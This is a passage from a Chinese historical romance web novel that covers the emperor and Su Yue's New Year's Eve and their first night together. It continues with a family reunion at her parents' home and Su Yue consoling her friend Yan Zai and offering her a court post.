大郎说:“没探着宫中?的消息,但我亲眼看见齐王和大理?寺卿一同离开。他们一走,金吾卫就撤兵了,阿爹您说,陛下是不是大安了?” 辜祈年也?吃不准,但以他为数不多的政治头脑分析,如果齐王得了势,定会扎根宫中?,钳子也?拔不出他来。然而如此紧要关头他却出宫了,前脚一走,后脚南宫就解禁,看来其中?大有?玄机。 反正守在这里没什?么用了,辜祈年忙招呼大郎,“把他们都叫回来,回家再让苏云想办法探听消息。” 于是父子四人匆匆赶回家,进门一看,院子里堆了许多节礼,承办差事的内侍正向?发呆的辜夫人行礼,“夫人,快命人搬进去吧。” 辜家父子怔怔迈进门,内侍听见脚步声回头,见四个人灰头土脸地,束发也?散落着,看样子像流民,就知道必是在外坚守了好几日。 忙拱起手长揖,“国公爷,奴婢奉命来给贵府上?送赏赐。这不是要过年了么,先向?公爷和夫人道一声新禧。” 辜祈年顾不上?什?么礼不礼,急切追问?,“我就想知道,陛下身上?的毒是否解了,我家女郎好不好,人在哪里。” 内侍含笑安抚,“公爷别着急,陛下安然无恙,大娘子与陛下在一起。正是怕公爷和夫人担心,才打发奴婢回来报平安的,宫中?今日要预备除夕宴,等到明日初一,陛下就与大娘子一同回来,再补上?一顿团圆饭。” 辜夫人听他说完,方才松了口气,双手合什?朝天长拜,“阿弥陀佛,老天保佑有?惊无险,都好好的,都好好的。” 内侍堆着笑,说放心吧,“都好着呢。府上?这两日忧心,想必什?么都顾不上?,如今事情过去了,快预备起来,过个吉祥年吧。” 辜祈年连连点头,“这就好,这就好。”一面?招呼他进厅堂,免不了要给些好利市。 内侍推辞,“奴婢还要回去复命,就不耽搁了。” 这时辜家的儿媳已经包了银包儿出来,再三地劝说收下,内侍才笑着谢了赏,带着黄门回去了。 经历了一场浩劫,大家都有?死里逃生?的庆幸,辜祈年长出了一口气,“好了,都过去了,别琢磨太多,准备辞旧迎新吧。” 儿女们都去忙了,夫妇两个站在檐下对望了一眼,到这刻都心有?余悸。 这时阴了多日的天气,终于慢慢放晴了,有?阳光刺破云层,云下尽是耀眼的韵脚。 辜夫人问丈夫:“出事那几日,你担心咱家会跟着倒霉吧?” “那是自然。”辜祈年道,“心里惧怕,但也?没有办法。咱们家不过是姑苏一介商户,今天的荣耀,都是人家给的。受用之时当饮水思源,古来多少门户因出了一位皇后光宗耀祖,改朝换代的时候跟着灭族,也?没什?么可懊悔。” 辜夫人打趣,“你如今是要修道了,忽然大彻大悟起来。” 辜祈年忖了忖,又讪笑,“不过这个买卖对我家来说不合算,还没品出滋味就遭连坐,那也?太冤了。” 当然这是夫妻间?的玩笑话,政权上?的博弈哪来的公平可言,不都是各凭运气吗。好在没出纰漏,皇帝女婿平安,女儿也?跟着平安。只要平安,其他还有?什?么可奢求的。 至于宫中?呢,虽然刚经历过一场变故,但适逢年下,还是得好好过节。 按着小时候的习惯,除夕要收拾好自己?。吃年夜饭前梳洗妥当,换上?新衣,等到天擦黑的时候在院子燃起火堆,把旧年穿过的鞋子扔进去烧了,这叫除旧迹,可以把走过的穷途斩断。 皇帝和苏月赶到安福殿,陪着太后吃年夜饭,太后的心情还是很低落,勉强打起精神支应他们,“上?年不好的事,都让它过去吧,以后就都是坦途了。你们会把这国家经营得越来越好,将来我去见了高祖皇帝,也?能痛快向?他夸奖你们了。” 皇帝给母亲布菜,叹息道:“阿娘这样,让儿很是自责。是不是儿不该让大理?寺把二郎带走,应当让他有?机会,同阿娘吃完这顿年夜饭。” 苏月心下蹦了蹦,她是真有?些惧怕,实在不想再见到权弈了。 太后面?色肃穆,心里未必不动荡,但最?后还是摇了摇头,“面?对着他,我怕是愈发吃不下去了。其实我应当高兴的,我的大郎还活着,二郎也?保住了性?命,我没有?失去任何?一个儿子,还有?什?么不知足。以前我啊,只知道享儿子的福,你出息了,我做个衣食无忧的老封君就好,从未想过要去担什?么责任,更不懂站于山巅,也?要经受罡风刺骨。现在明白了,天底下哪有?光享福不担责的,我要是那么不讲理?,怕是老天爷都看不惯我。”边说边举起了筷子,“来吃,什?么都别想,过了今日,明天一切都会好起来的。二郎不过是不能回京,我若身子好能走动,时不时还可以过去骂他两句,他活着就行。” 苏月见太后这样,到底也?觉得难过,温声道:“阿娘,我们明日回家去,您同我们一道去吧。陛下在东边建了个十泉里,我陪您去采买,带您去散散心。” 太后果然重?新展开了笑,对皇帝道:“你瞧你这一折腾,倒让我们娘俩更贴心了。她管我叫阿娘,我这哪是聘了个儿媳,诚是多了个女儿啊。明日何?时动身,打发人来知会我,我今晚可得早些睡。这几日弄的心力交瘁,再不好好补觉,明日脸色不好,不能见亲家。” 气氛终于活跃起来,堆积的阴霾也?逐渐消散了,没有?歌舞升平,仅仅是一餐简单的辞岁饭,欠缺排场,但生?动温馨。 吃罢饭出来,正赶上?城内心急的人家放焰火,砰地一声蹦上?半空,又急赤白脸地绽开,在黑黑的夜幕上?喷洒出一串五颜六色的火花。 皇帝探手过来,紧紧握住她,“辜大人,这是咱们一起过的头一个新年,往后岁岁年年都是如此。” 苏月暗笑,经历了一场变故,他好像开窍了,懂得怎么说话了。每常蹦出一句来,也?能让她感觉到平凡的快乐。 宫中?没有?大宴群臣,但过节还是得有?过节的样子。乾阳门外早就架好了焰火大阵,等到辞岁的钟声响起来,内侍们便?一同上?前点火。 轰隆隆的动静,即便?离了六七丈远,依旧觉得震耳欲聋。震动过后便?见接连的焰火冲上?夜空,仿佛得了号令,城中?的家家户户也?紧随其后,满城都是四散的金芒,还有?风中?隐约传来的欢呼声。 皇帝望着这一切,斑斓的火光映照在他脸上?,自言自语着,“朕起兵之前曾有?个梦想,想在除夕的夜里看见万家灯火,普天同庆。经历了这些年,终于做到了,我为大梁百姓奋战过,不枉此生?。” 苏月说是,“大梁百姓都会感激你的,你瞧那些焰火,不是奉承和讨好,是真心实意的追随。” 皇帝偏头问?她:“你怎么知道?” 苏月说:“要是忌惮你的淫威,就没有?那些先紫微城一步燃放的人家了。大梁开明,虽说看不见的地方也?有?不公,但我相信以后定会越来越好的,谁让这国家有?一位英明神武的皇帝呢。” 他顿时来了兴致,“我发现你说话变得愈发中?听了。” 苏月冲他笑了笑,两个人相处日久,有?些习惯在慢慢靠拢,这本身就很神奇。 而陛下的脑子此时空前活跃,他牵肠挂肚的是更为要紧的一件事。 呵出一口气,立刻吐气成云,他搓了搓手道:“天真冷啊,我们还是进去吧。” 焰火还没放完,她不想挪步,“接着看呀,后面?还有?一个焰皇。” 身边的人说:“焰皇有?什?么好看的,不如看朕这个人皇。”说完连哄带拽地,把她拉进了后殿。 好在后殿有?窗,虽然是北向?的,但城北百姓燃放焰火的劲头,不比南城的差。 大床就靠在窗台前,苏月洗漱过后爬上?去,芙蓉帐的四面?垂帘高绾,窗半开,她倚着床围,不耽误看外面?的光景。 看着看着,看出了满心唏嘘,前朝末年百姓生?计艰难,再加上?多年战乱,她记得从十二岁以后,就没再体会过这种后顾无忧的热闹。那些焰火就像久别重?逢的老友,让她一面?惊诧于惊人的美?貌,一面?又庆幸彼此都健在。前两天的惊心动魄已经不想回忆了,如果那时真有?个闪失,现在的自己?又该是怎样的处境呢? 她侧着头,伏在自己?的臂弯上?,不经意回了回眸,发现那人已经收拾好了自己?,上?床上?出了登基的气势。 苏月被他吸引了注意力,他穿着竹青的长袍,因为身材高大,更显干练利落。他也?从来不乏小心机,交领没有?扣紧,微微袒露着,从喉结往下直到心窝,有?一道若隐若现的凹痕,这是胸肌练得健硕才形成的美?男沟啊。 不得不承认,自己?对他觊觎已久。自从上?次撞破他沐浴,某些疑惑就越来越强烈,只等时机成熟,要再亲自求证一下。 皇帝热情澎湃,今晚的夜是最?绚丽的夜,他倾身过来在她唇上?吻了一下,“漫天焰火,为你我见证。” 苏月难掩期待,“你要开着窗户脱光吗?” 这个问?题……有?点刁钻。他为难地说:“不太好吧,我怕着凉。” 也?对,龙体康健是头等大事,苏月便?关上?了窗,“好了,脱吧。” 皇帝的脑子有?点转不过弯来,“这种事,应该男人先脱吗?” 关于这个问?题,并没有?确切的答案,执着于让他脱光,不过是苏月想再打量他一番。 皇帝呢,朝思暮想的女郎就在面?前,他反而无从下手了。 进来之前,他躲在西寝进行过深彻的研习,他不是个狂妄自大的人,不懂的地方就按着书上?说的一步一步来,得讲求策略。上?来便?脱个精光,这种庸俗无趣的事他可不能干。 甚至他提出的建议,一度让苏月以为自己?听错了。他问?:“能不能先把灯灭了?” 苏月看过不少话本,第?一次听说男子要求灭灯的。不过既然他不自在,那就灭了吧,看不见对方的脸,没羞没臊的事才能放心大胆去做。 点了点头,她答应了,看他急忙蹦下床,吹灭了案上?的蜡烛。 内寝也?不是全黑的,远处有?守夜的灯笼,还有?城中?接连不断的炮竹和焰火。她能看见那个高大的身影移过来,上?床紧贴她坐下,寝衣太薄,他的身子热烘烘地,把她的颧骨都染红了。 她有?些紧张,掌心生?汗,东拉西扯着:“为什?么要吹灯呀?” 他支吾了下,“我身上?有?伤痕,怕你厌烦。” 苏月说:“我早就见过了,现在遮掩也?来不及了。” “这么久,你早就忘光了。”他胡乱搪塞,“反正男人的心思你不懂。” 不就是品相欠佳,刻意在背光的地方验货么。虽然有?蒙混的嫌疑,但这也?是因为他在意自己?在她心里的形象,苏月倒是能够体谅的。 看不见,摸一摸也?成,她伸出手,毫不客气覆在了他胸肌上?。 真可谓……好大。到底是从过军的,摸上?去比看上?去更彪悍。那双不安分的手不能闲着,借着黑暗到处游走,她听见他忽高忽低地倒吸凉气,心道如此不经摸吗,堂堂的儿郎,摸几下像溺水一样。 可当他礼尚往来的时候,她就觉得不妙了,他显然比她更有?兴致,摸得也?更仔细。 她想躲,想反对,没来得及张嘴就被他堵上?了。然后那手到处点火,从肩头到后背,最?后心衣什?么时候耷拉在了腰间?,她都没有?察觉。 头昏脑涨间?,火热的皮肤贴上?来,精壮的胸膛隐隐带着一层薄汗。苏月觉得支撑不动眼皮了,那朦胧的轮廓也?早就看不清了,只感觉到他的呼吸,他的手,他的口唇。 她在一片混沌中?想,这人果然有?计划有?章程,他们俩看的不会是同一本避火图吧,为什?么他下一步要做什?么,她都能猜到? 不过他偶尔也?有?出其不意的小聪明,常能引发她的小惊喜。 因为年岁到了,她过年都二十了,早不是懵懂无知的小女孩。夫妻敦伦是人之常情,不用害羞,可以勇敢大胆地追求快乐。笨拙的、傻乎乎的大郎,是她快乐的源泉,她喜欢他亲她,喜欢他摸她,所到之处悸栗栗,像服过了麻沸散。只是有?的地方还是让她有?些不知所措,想婉拒一下,可惊讶地发现,说出口的,都是缠绵的吟叹。 差不多了,她觉得时机正妙,他也?觉得她准备好了。他的五指穿过她的指缝,分开她的腿,轻声说“忍住”。 苏月的心立刻提到嗓子眼,托付终身,就在这须臾之间?。 她能感觉到陛下驾临,很懂礼貌地轻叩山门,无人应答便?打算不请自入。结果刚挤了一点身,泰山崩塌,有?什?么飞流直下……她还没来得及询问?,他就屈辱地呜咽出声了。 她吓了一跳,支身问?他怎么了。 他跪在她腿间?,已经伤心到混乱了,“不该是这样的……万万不该啊……” 苏月明白过来,尴尬地安慰他:“书上?说寻常童男子第?一次都是这样,你已经十分出类拔萃了,别难过,我不会笑话你的。” 他沮丧地抬眼,“我是寻常人吗,我是皇帝啊!” 苏月说:“皇帝又怎么样,这时候又没有?千军万马。你是孤军奋战,而且不是囫囵个儿,考验的仅是下半截罢了。” 皇帝忘了伤心,“你这是在安慰我?” 苏月也?不知道这算不算安慰,让他将就听,就当是安慰了。 不过领兵作战的人,最?不缺失的就是不服输的精神。他重?新振作起来,一面?诱哄她,“再试一回,这回定能一举成功。” 苏月的那本书上?写得很仔细,说这种事对男子事关重?大。若几次三番都不行,到最?后情绪会崩溃,开始怀疑自己?,长此以往,慢慢就变成天阉了。 所以她也?很紧张,很不放心,在他卷土重?来时忍着剧痛,为他的每一寸攻城略地深感担忧。但这痛楚好像越来越无法忽视了,到最?后她彻底怀疑自己?变成了一颗山楂,已经被他刺穿了。 男子的本能是爱探索未知,他低头吻她紧蹙的眉心,魂魄悬在头顶上?,“苏月,成功了……”边说边埋头苦干。 他已经很小心,很克制了,她还是不能适应。一痛她就想架腰,一架腰他就分不清东南西北。然后后背时不时被她狠掐,整个过程可说充满艰辛,皇帝陛下几乎是蹑手蹑脚完成了人生?大事。 忙完后绝不能滚到一旁休息,须得照顾她的情绪,把她搂在怀里好生?安抚,“你看我行的,而且定会越来越行,你不用担心……你还疼么,怎么缩着?来呀心肝妙人儿,我有?一双好手,我给你揉揉。” 第77章 第 77 章 苏月头皮发麻, 看?来他除了避火图,还看?过别的。早说乱七八糟的书不能看?,看?多了害人, 把老实巴交的大郎调理成了情场老手。 她推了他一把, “你走开, 腻人得?慌。” 食髓知味的皇帝,到?了今时今日哪能说放弃就放弃。 他反倒抱得?愈发紧, 密集的吻落在?她额头鼻梁。苏月嫌弃了他一阵子,慢慢就甘之如饴了。从今日起, 她的人生迎来了巨大的转折, 这就算是有夫之妇了。虽然还未正式成亲,但她不是个守旧的人,并不在?意一场仪式。 至于他自告奋勇要给她揉揉, 定是没安好心, 所以自动忽略他的话, 只是手脚并用?攀附着他,像缠绕在?大树上的藤蔓。 霸占他, 她趾高气扬下旨:“往后你就是我的人了,今早说过的话,要牢牢记在?心上, 不得?更改。” 他说是, “不设后宫, 不与?人私通,我记住了。”边说边腻歪,“苏月, 你怎么这么好!你这么香这么软,你是我唯一的女郎, 我恨不能死在?你身上。” 苏月气不打一处来,“又?在?胡说,不许胡说!” 他笑了,使?劲与?她蹭了蹭,“我要把我身上的气味,全留在?你身上。” 两个人裹着一条被子,被窝里?热浪滚滚,总觉得?到?处都?是汗。 苏月连声喊:“哎呀,别蹭了,脏死了!”像落水的人,想探出?被窝逃命,眨眼又?被他捞回去,他直把她往怀里?摁,让她别着凉。 苏月说不成了,“我热得?慌。” 这句话令他立刻顿悟,“定是火没泄完,我有办法。” 他的办法就是拿自己当药引子,极尽可能地引诱她。 她不肯配合,但没能坚持多久还是屈服了。算了,刚上手,自己也?觉得?很新奇。对方?这个人就像一件有趣的玩具,自己的人生里?从来没有过,乍然得?到?,爱不释手。虽说确实有点疼,但那是种很玄妙的感觉,并不仅仅只是疼,混乱悸动,□□,各种滋味轮番登场,构建出?了一个光怪陆离的世界。 她喜欢他的一切,他的人,他的气味,甚至是他坚定的力量。最初的剧痛过后,似乎一切都?好起来了,正当她想松口气时,他扣住她的腰,癫狂地胡来了两下。 这回又?要遭报应了,她连揍他好几下,“你这不懂怜香惜玉的田舍汉!” 他躲不开只好闭上眼,看?不见等于没挨打。让苏月想起小时候同他们兄妹玩在?一起的那个孩子,马夫家的独苗,养得?皮糙肉厚,又?黑又?壮。和他们一起去掏墙缝里?的蜂洞,掰开芦苇拿薄片贴着泥洞边缘探进去,搅得?里?头的蜜蜂不得?安宁。蜜蜂急了,冲出?来叮咬他,他眯起眼硬扛,继续掏挖洞里?剩下的蜜蜂。等到?把蜂都?装进了小罐子里?,他才捂着额头上肿起来的大包,龇牙咧嘴说好疼呀…… 诶,不对,这种时候竟神游太虚,是对陛下的极端不尊重。可她一旦静下心来感受……就觉得?骨头要散架了,魂儿也?要飞走了。她不想叫出?声,因为不好意思,怕外面的人听见,所以呜呜咽咽,全闷在?了口鼻里?。 然而浪越抛越高的时候,到?底还是没忍住,她“啊”了声,那一瞬连自己都?吃了一惊,没想到?竟能发出?这样的声音。可她越羞耻,他就越受鼓舞,聪明人从来不需要别人手把手地教?,师傅领进门,剩下的全靠自己的悟性。 总之梅开二度,花形饱满,开得?极好。陛下一雪前耻,彻底兑现了他的“越来越行”。 苏月觉得?羞于见人,拿被子蒙住了自己的头。他见状想把她抠出?来,边抠边劝说,“别把自己闷死,再不出?来,我可要给你渡气了。” 就这么吵吵闹闹,新旧交接的一晚糊里?糊涂过去了,她没听他守岁的哄骗,但这一夜好像也?没怎么闲着。等醒来的时候,又?遇上了更大的尴尬,实在?有些想不明白,怎么做到?至今密不可分的。 更可怕的是,他好像也?醒了,隐隐有了抬头的迹象。她顿时如六月水边晒晕的草虾,看?着半死不活,一旦想抓它,邦地一声就弹开了。 这迅捷的动作,让彼此都?倒吸了口凉气,皇帝说:“辜大人,你好孟浪。” 苏月唾弃他,“这个时候想起来叫我辜大人了。” 他笑着说:“不叫辜大人,难道叫心肝?我是不要紧的,只要你愿意。” 苏月没敢接话,怕他一时兴起,会强迫她管他叫“爱郎”。因为这人脸皮奇厚,这种事真能干出?来,过会儿到?了家也?不知收敛,让阿爹阿娘牙酸还是小事,给妹妹们做了不好的榜样,那就是大事了。 不过开过荤的陛下,如今是真的太粘缠了,她想下床,又?被他逮了回来,腻在?她身上说:“时候还早,再睡一会儿,不耽误晌午到?家吃饭。” 苏月说不成,“太后还等着我们呢。” 皇帝说放心吧,“太后是多知情识趣的老太太啊,她知道什么对大梁最重要。” 苏月伸腿试图把他蹬开,嘟嘟囔囔问:“什么最重要?” 本?以为他会说皇嗣最重要,结果并没有。他抱住她亲了又?亲,“我与?你感情深厚最重要,帝后和谐,国之大幸。而且我的皇后可不是普通女郎,她是在?我遇见不测时,仍会选择站在?我身边的奇女子!” 他的话里?满满都?是骄傲,仿佛打下江山不够他显摆的,最大的成功,是找到?了她这样的妻子。 这么一来,再着急的事都?可以缓和着办了。 苏月无奈地躺回他怀里?,仰头问他,“如果我没有让裴忌调遣金吾卫守住南宫,没有当着满朝文武和权弈叫板,而是退求自保,你会怎么样?” 他想了想道:“也?不能怪你,生死存亡的大事,首先自保没有错。” “然后呢?”她又?问。 “然后……”他喃喃道,“然后我就继续独自负重前行,紧要关头也?不指望你了。你一个年轻女郎,管好梨园已经很难得?了,我不能硬让你像个身经百战的男子一样,与?朝堂上的险恶人心殊死搏斗。” 苏月听完长叹,“你对我的要求真低,我以为你会另选皇后。” 他爽朗一笑,“那不能,皇后人选岂能随意更改。再换一个,别说朝堂了,连梨园都?管不好,肯定不如你。朕要娶的是皇后,又?不是太师,不能吹毛求疵,太把自己当回事。” 苏月又?被他感动了,搂住他的脖子说:“大郎,你嘴笨我也?认了,只要你真诚,说出?来的话就很动听。” 皇帝惊喜,“真的?那你说,我除了嘴笨,其他地方?可是都?很强?强到?让你死心塌地喜欢?” 又?来了,经不得?夸,太会举一反三,太会给自己挣脸了。 不过细想想,这话也?不假,除了第一次丢盔弃甲,后来确实十分能干。她从他身上居然体验到?了极度的快乐,这个新手,手段已经不容小觑了。 她没有立刻回答,因为不知从何夸起,实在?样样都?好啊。 他等不来她开口,着急地摇了她好几下,“你怎么不吭声?女郎你说话呀!” 她被他漾成了一汪春水,只好红着脸应他,“你强得?很,我早就对你死心塌地了。” 瞧瞧这腼腆的小模样,分明已经爱入骨髓。他的信心空前庞大,神气活现地说:“只要是我想做的事,没有一件做不好。娘子你跟我算是跟对人了,我是武将出?身,极善排兵布阵,从今以后,你就是我一个人的万里?江山。还有,我身强体壮,精力充沛,能长途奔袭八个时辰不下马……” 还没说完被她接连捶了两下,“你又?在?隐喻什么?一会儿不挨打,你的皮就痒痒了。” 可是这小拳头,捶出?来的都?是蜜,他决定再好好向?她展示一遍,到?底是怎么一步一步开疆拓土的。 苏月被他缠得?没办法,一径推他,“你是驴吗,就不能歇一歇!” 他无耻地说:“我就是驴,你认命吧。” 然后内寝再一次地动山摇,站在?廊道上的国用?掏掏耳朵,欣慰地笑了。 昨晚上他就已经向?太后呈禀了乾阳殿中的情况,太后当时还没从齐王的变故中脱身出?来,结果一听这个消息,什么都?忘了,“圆房了?” 国用?说是啊,“陛下和大娘子终于修成正果了,可惜还未成亲,就差一点儿了。” 太后大手一挥,“成不成亲有什么要紧,天底下还有人敢不认她的身份吗。苏月是个好孩子,我的眼光果然没错,就是这种执拗的性子,和我年轻的时候很像,敢想敢干,一切以大局为重。” 国用?掖着袖子感慨,“奴婢以前常听说江南美人温婉,性情极好,没想到?也?有大娘子这样果决的女郎。” 太后笑了笑,“果决也?是历练出?来的,人总要慢慢成长。等她长成一棵大树,她就能够保护梨园子弟,保护天下苍生了。” 国用?回来后,同淮州说起太后的那些话,淮州唏嘘,“太后真是一位上好的婆婆妈,要是遇上不明事理的,齐王那事过后就记恨上大娘子了。” 国用?颔首,“有福之女,入吉庆之家。后宫安定,国家自然也?跟着强盛。” 不过陛下还是很令人叹服的,这没日没夜一通操劳,出?门赴宴的时候依旧精神奕奕,眼下连黑眼圈都?找不到?半个。 两个人搀扶太后登车 赶往永丰坊,皇帝的法驾出?行,声势很浩大,道路两侧挤满了想一睹帝后风采的百姓。车辇的帘幔半卷,依稀露出?车内人的真容,法驾经过便有人议论,陛下真是相貌堂堂啊。还有皇后,定是用?珍珠喂养出?来的江南女郎,怎么生得?如此好看?。 然而本?该享受夸奖的皇帝,此时却?在?人群里?发现了裴忌。他抬了抬下巴,“他身边的女子,是他的夫人?” 苏月顺着他的视线望过去,“正是呢。那天洞房里?撤扇乱糟糟的,看?不真切。今日再见,看?样貌就是位擅持家的夫人啊。” 皇帝抚着膝头话里?有话,“裴忌倒是很听你的,甘于冒那么大的风险,率领金吾卫镇守南宫。” 他的醋意被一旁的太后嗅见了,实在?很看?不上他,“早上吃了酸豆角?那味儿从你的天灵盖上冒出?来了!臣僚对你忠心耿耿,你不庆幸还捣鬼,我看?你是闲的。” 皇帝讪讪闭上了嘴,苏月要说的话全被太后说了,幸灾乐祸地冲他笑了笑,一面搂住太后的胳膊道:“阿娘,我家从姑苏带了厨子,做的一手上好的家常菜。我早上让人传话回去了,让他们多添几个拿手的,今日我与?您喝两杯。” 太后乐呵呵说好,一面在?她手上拍了拍,“明年这个时节,咱们车上总要多出?一个人来了,到?时候更热闹。” 苏月抿唇笑着,倒也?没觉得?害臊。人生走到?了这个阶段,一切应当发生的都?顺顺利利发生吧,一切都?是顶好的安排。 很快进了永丰坊,门前早就聚满了人,车还没到?,老远就听见三郎高亢的呼声:“来了来了!” 大家列队在?槛外站好,车一停稳就肃拜下去,迎接太后与?皇帝大驾。 场面上礼不可废,文章做足后,剩下的就是骨肉亲情。辜祈年夫妇再三打量皇帝,切切问:“一切都?好?” 皇帝笑着点了点头,“一切都?好,请岳父岳母放心。” 辜夫人眼里?溢出?泪来,忙掖了掖道:“这就好。”一面过去招呼亲家,“太后莅临寒舍,我们好大的荣耀。快快,里?面请,这么冷的天,太后不曾冻着吧?” 太后说没有,牵住辜夫人的手道:“宫里?人口少?,找不见过年的味道,所以就跟着孩子们一道来了,但愿不曾给你们添麻烦。” 辜祈年忙道:“哪里?的话,您是请不来的贵客,今早一接了消息,内子高兴坏了,急急忙忙收拾起暖阁,把炭盆都?点上了……以往她可抠门得?很,我从外头回来冻得?筛糠,她只管叫我喝热水。” 大家都?笑,这就是平常门户的勤俭持家,虽有抱怨,但话语里?全是家常的温暖。 待进了门,辜家的妯娌们便引着太后说话去了,男人自有他们的乐子,皇帝一会儿就不见了踪影。 苏月和姐妹们挪到?花亭里?去,因早早吩咐苏云把颜在?请来,因此颜在?也?同她们在?一起。 苏月先问过梨园的境况,颜在?道:“都?好着呢。除夕的差事取消了,起先都?有些无措,今日恢复了各大府邸的邀约,人又?都?活过来了。” 苏云说可不是,“下半晌我就得?跑一圈,接下来几日怪忙的。初五宫里?的大宴也?要办,太乐令已经拟定了曲目,等阿姐回去查看?。”顿了顿又?问,“阿姐还回梨园吗?不会就此留在?掖庭了吧?” 苏月说不会,“我的头等大事还没办完,怎么能不回去。” 她的头等大事是《音声六十四部》,她就是一门心思,想编成一部能流传后世的乐谱。朝代更迭,什么都?会消亡,只有曲乐不会。千百年后的人得?了这本?乐谱,可以通过音声再现大梁当时的辉煌,这不是顶有意义的一件事吗。 她们总说梨园里?的事,弄得?苏雪很无聊,招呼苏柳和三房那个不起眼的黄毛苏情,说上后厨看?看?去,有什么好吃的能运过来。 苏云知道阿姐和颜在?有话要说,站起身跟着一同去了。花厅里?只留下苏月和颜在?,苏月担心她,探过去握了握她的手,轻声问:“你还好吗?这次的事又?伤了你,我实在?于心不忍。” 颜在?却?看?得?很淡,“人要长大,总得?受些教?训。出?了这事我才知道,自己再不是姑苏来的小丫头了,我是你身边的人,我也?须谨慎处事,不给你带去灾殃。” 她永远是那个胆小但温柔的女郎,苏月叹息不已,“那你与?齐王……” 颜在?说:“都?结束了,不去想他。人活于世,哪个不走弯路,就当做了一场好梦,梦醒了,你还要同自己较真吗?” 她没有钻牛角尖,这让苏月很欣慰,复又?问她:“以后打算怎么办?若是想回姑苏,我让人送你回去。” 颜在?缓缓摇头,“我不回去,我也?要在?梨园做出?一番事业来。现在?回去,无外乎嫁人一条路,我被齐王哄骗的时候,确实想过要去相夫教?子,但一朝清醒才发现,我该自己立世为人,不该等着谁来成就我。” 所以她现在?是想明白了,确立了自己想走的路,可是太清醒,也?让人心疼。 苏月抱了抱她,温声道:“仰赖别人成就自己,并不可耻。我们身处这样的世道,能一步步挣出?来,天时地利要有,人和也?不能少?。如果以后遇见真正能成就你的人,不要放弃,你是极好的女郎,你有权力去喜欢任何你想喜欢的人。” 颜在?听了她的话,眼里?重又?恢复了光彩。这才是最知心的好朋友,永远站在?你的立场,永远赞同你的每个主张。 “只是我同他……亲近过。”她又?低下头道,“我着实是后悔,糊里?糊涂把自己交代了。” 苏月其实早料到?了,要是没到?这种牵扯不清的地步,权弈也?不敢贸然行事。他以为有了这层关系,就紧紧拴住了颜在?,颜在?会计较自己的得?失,世上哪有不想自己当皇后的女郎。 然而他还是低估了她们之间的友谊,诱惑再大,人心没有腐烂,柔弱的小女郎也?有自己坚守的底线。 不过吃了好大的亏,悔之晚矣,对女孩子来说伤害很深。苏月便尽力安慰她,“这事不要放在?心上,更不要觉得?失了贞洁,天就塌了。梨园中很多女郎都?经历过不好的事,像刘娘子,还有春潮,她们的过去很凄惨,可她们现在?都?好好的,她们都?走出?来了,你也?一样。” 颜在?点点头,慢慢长出?了一口气,“以后我不会再轻易受人哄骗了,只管帮你处置梨园中的事物,其他的不去想了。” 苏月这时告诉了她一个好消息,“陛下同我商量,究竟该怎么嘉奖你。我想着你要是打算回家,就容你回去和家里?人团聚,若是不想回去,可以在?内敬坊设个内令,由你专管坊内的女乐师,品阶在?内宰之上。” 这委任来得?太突然,上回说的乐正就让她受宠若惊了,这回更是吃惊不小,“内令?我……我哪有这个能耐!” 苏月说你有,“这阵子我们一同管理梨园,你的能力我知道。万一遇见不好处置的事,还有我呢,我能帮你一同解决。早前我们进内敬坊,内宰凶悍得?很,乐工们看?见她都?吓得?抱头鼠窜。以后有了你,你比内宰和善,乐工们遇见委屈的事可以同你交心,这样多好!况且你也?知道,我不能长久留在?梨园,终有一天要回到?掖庭的,到?时候得?有人接我的班。你和苏云一个主外,一个主内,等到?你们能把梨园支撑起来时我再放手,就没有什么不放心的了。” 话说到?这个份上,那就欣然接受吧。颜在?不免和她打趣,“不怕有人说你任人唯亲么?” 苏月淡淡一哂,“我这是任人唯贤。且朝中有人好做官,搁在?哪朝哪代都?一样。” 第78章 第 78 章 这里正说着话, 外?面苏雪姐妹端了各色果子进来。苏月忙站起?身接应,一样一样在桌上铺排好?,一面叮嘱:“就快用?饭了, 可不能吃得太饱, 要留着肚子吃好?菜呀。” 苏情把手边的糖奶果子推过去, 细声?道:“朱娘子和长姐尝尝这个,好?吃得紧呢。” 苏月和颜在都领情地尝了, 虽说这糖奶果子吃口其?实也一般,但?为了捧场, 自然要好?好?赞同一番。 对于这位鲜少露面的阿妹, 苏月有关?她?的记忆并不多。早前因为有苏意的缘故,苏情被她?死死压制着,说她?是?妾室生?的, 没有资格在公开的场合出现。三叔夫妇也就称了苏意的心, 长期把苏情藏在家里, 不让她?见人。现如今苏意跟着白溪石去苏杭了,家里没有了霸王, 可能三婶忽然意识到,该让这个不起?眼的庶女在苏月面前晃晃了,这才带她?参加了今日的家宴, 也好?提醒苏月, 将来还有这位阿妹要帮衬。 苏月向来有些可怜苏情, 因为苏情的样貌和一般女郎有些不一样,她?的头?发和眼珠子的颜色都偏浅,三婶和苏意提起?她?时?, 异口同声?都管她?叫妖怪。 也正因为如此,苏情十分自卑, 只要谁多看?她?一眼,她?就面红耳赤浑身不自在。苏月知道她?的病根儿,因此并不过多地关?注她?,只是?吃着果子随口问她?,苏意在南边好?不好?,有没有写信回来。 苏情道:“大娘前日接到阿姐的来信,大娘与阿爹说话的时?候,我不小心听见的,说阿姐和姐夫总吵架,姐夫还打阿姐来着。阿姐说要回上都,姐夫不许,吵得最厉害的时?候把刀拍在桌上,姐夫说她?要是?敢走,就宰了她?。” 大家面面相觑,一开始要死要活强嫁,结果现在落得这样地步,也算恶人自有恶人磨。 苏月捏个果子递给苏情,“你近来在忙些什么?年后天气暖和起?来了,得空也出来多走走。” 苏情犹豫地笑?着,摇了摇头?。 苏月问为什么,“苏意出嫁了,家里只有你这个女郎,阿婶总不至于对你太苛责。” 苏情小声?道:“我这样……还是?算了。” 颜在听了半日,明白苏情为什么怯懦了,转头?对苏月笑?道:“我一见到五娘子,就觉得她?像西域女郎。若是?好?好?打扮上,足可艳压群芳。” 这话让苏情吃了一惊,红着脸摆手,“不不不,朱娘子过奖了。我确实长得怪异,娘子不用?安慰我。” 颜在说不是?安慰,“是?打心底里这样认为。大梁建立后,常有外?邦派遣的商队入上都,与梨园以乐会友。商队里的女郎们有金色的头?发,琥珀一样的眼睛,头?上戴着绚丽的珠饰,或吹拉弹唱,或翩翩起?舞,别提多好?看?了。” 苏情虽然艳羡,但?一切离她?太远太远,不过是?笑?谈罢了,听过就算了。 苏柳却上了心,冲苏情道:“我想起?来了,你有个拿手的绝活,能连着旋转一炷香。常人要是?这样,早就天旋地转又晕又吐了,你却能自如地走动,没事人一样。” 这话立刻勾起?了颜在的兴趣,激动地拽苏月的袖子,“胡旋!胡旋啊!” 